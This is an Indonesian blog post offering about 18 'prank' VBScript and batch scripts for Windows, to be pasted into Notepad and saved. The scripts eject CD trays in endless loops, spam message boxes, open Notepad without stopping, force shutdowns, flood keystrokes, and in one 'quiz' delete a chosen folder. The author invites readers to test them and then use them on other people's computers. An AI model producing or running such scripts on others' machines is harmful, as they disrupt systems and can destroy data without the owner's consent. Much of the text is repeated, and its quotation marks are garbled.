Assalamu’alaikum WR WB?.
Selamat siang semua, dah jauh-jauh datang ke kampus, dosen gak mask,, ahhhhh nyebelin...haha.... dari pada bingung ato ngelamun, mendingan ngeblog aja lah...sambil berbagi ilmu.. kali ini ane mau berbagi script-script jail nih, ane mao nanya nih....siapa di antara kalian yang suka jail?...mmmm ane yakin pasti 80% pasti suka jail ya?...tapi kalo di jailin gak suka... dasar kamu egois..haha..
ok lah jangan kebanyakan ngomong... berikut ini script2 jail.
Selamat siang semua, dah jauh-jauh datang ke kampus, dosen gak mask,, ahhhhh nyebelin...haha.... dari pada bingung ato ngelamun, mendingan ngeblog aja lah...sambil berbagi ilmu.. kali ini ane mau berbagi script-script jail nih, ane mao nanya nih....siapa di antara kalian yang suka jail?...mmmm ane yakin pasti 80% pasti suka jail ya?...tapi kalo di jailin gak suka... dasar kamu egois..haha..
ok lah jangan kebanyakan ngomong... berikut ini script2 jail.
Langkah - langkah :
1. Create new text document / buka notepad anda.
2. Copy Paste script dibawah ini.
3. Save ekstensi sesuai dengan perintah.
1. Buka/Tutup DVD
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save dengan ekstensi .vbs
2. Always CapsLock
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save dengan ekstensi .vbs
3. Infinite Loop Message
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo, cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save dengan ekstensi .bat
4. The Death Quiz
@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx (ganti xxx dengan folder yg mo dihapus)
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save dengan ekstensi .bat
5. Messege Berulang-ulang:
Quote:
@ECHO off
:Begin
msg * Jontor Virus Beraksi
msg * Muka lo jelek - ngaca dulu gih
msg * hayo lo,cupu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save namafile.BAT (ekstensi filenya harus .BAT) Simpan dalam notepat.
6.shutdown messege:
Quote:
Code:
@echo off
msg * apaan sih lo
shutdown -s -c “Error! muka mu standar abis”
save namafile.BAT (ekstensi filenya harus .BAT) Simpan dalam notepat.
7.Disko Keyboard:
Quote:
Code:
set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys"{CAPSLOCK}"
wshshell.sendkeys"{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
lalu save as dalam bentuk .VBS
8.buka tutup CD/DVD:
Quote:
Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs (save dengan Ekstensi file .vbs) simpan dalam notepat.
9.vbscript nongol terus:
Quote:
Code:
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
save namafile.vbs ket:di task manager full wscript yg lg running
10.Membuat kata yang anda mau:
Code:
[i]WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 10
WshShell.AppActivate “Notepad”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “mu “
WScript.Sleep 50
WshShell.SendKeys “je”
WScript.Sleep 50
WshShell.SendKeys “le”
WScript.Sleep 50
WshShell.SendKeys “k “
WScript.Sleep 50
WshShell.SendKeys ” se”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “li”
WScript.Sleep 50
WshShell.SendKeys ” y”
WScript.Sleep 50
WshShell.SendKeys “a”
WScript.Sleep 50
WshShell.SendKeys ” h”
WScript.Sleep 50
WshShell.SendKeys “!”
WScript.Sleep 50
WshShell.SendKeys “!! “
save namafile.vbs
11. Cara bikin Virus Dengan Notepat
@ECHO off
:Begin
msg * Jontor Virus Beraksi
msg * Muka lo jelek - ngaca dulu gih
msg * hayo lo,cupu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save namafile.BAT (ekstensi filenya harus .BAT) Simpan dalam notepat.
12. Cara membuat shutdown+message
Code:
[i]@echo off
msg * apaan sih lo
shutdown -s -c “Error! muka mu standar abis”
save namafile.BAT (ekstensi filenya harus .BAT) Simpan dalam notepat.
13. Cara Mainin Caps Lock button
Code:
[i]Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
save namafile.vbs[/i] (save dengan Ekstensi file .vbs) simpan dalam notepat.
14. Cara buka tutup CD/DVD
[i]Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs[/i] (save dengan Ekstensi file .vbs) simpan dalam notepat.
15. Cara bikin vbscript nongol mlulu
Code:
[i]Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
save namafile.vbs ket:di task manager full wscript yg lg running [/i]
16. Cara bikin teken tombol backspace melulu
Code:
[i]MsgBox “kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
save namafile.vbs [/i] simpan di dalam notepat
17. Cara bikin otomatis ngetik “lu jelek banget sih” di notepad/word
Code:
[i]Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “lu jelek banget sih!!!”
loop
save namafile.vbs simpan di dalam notepat
18. Cara bikinbuka notepad trus menerus
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.
[/i]
Mungkin sekian dulu ya...cukup kan,, silahkan mencoba... tapi jangan langsung ke orang lain, coba dulu di komputer kalin sendiri, supaya tau hasilnya..setelah itu baru beraksi..hahaha
tapi ingat ane gak tanggung jawab atas segala yang terjadi setelah kalian ini, resiko tanggung sendiri...hahah
dah dulu ah,,,
wassalam..
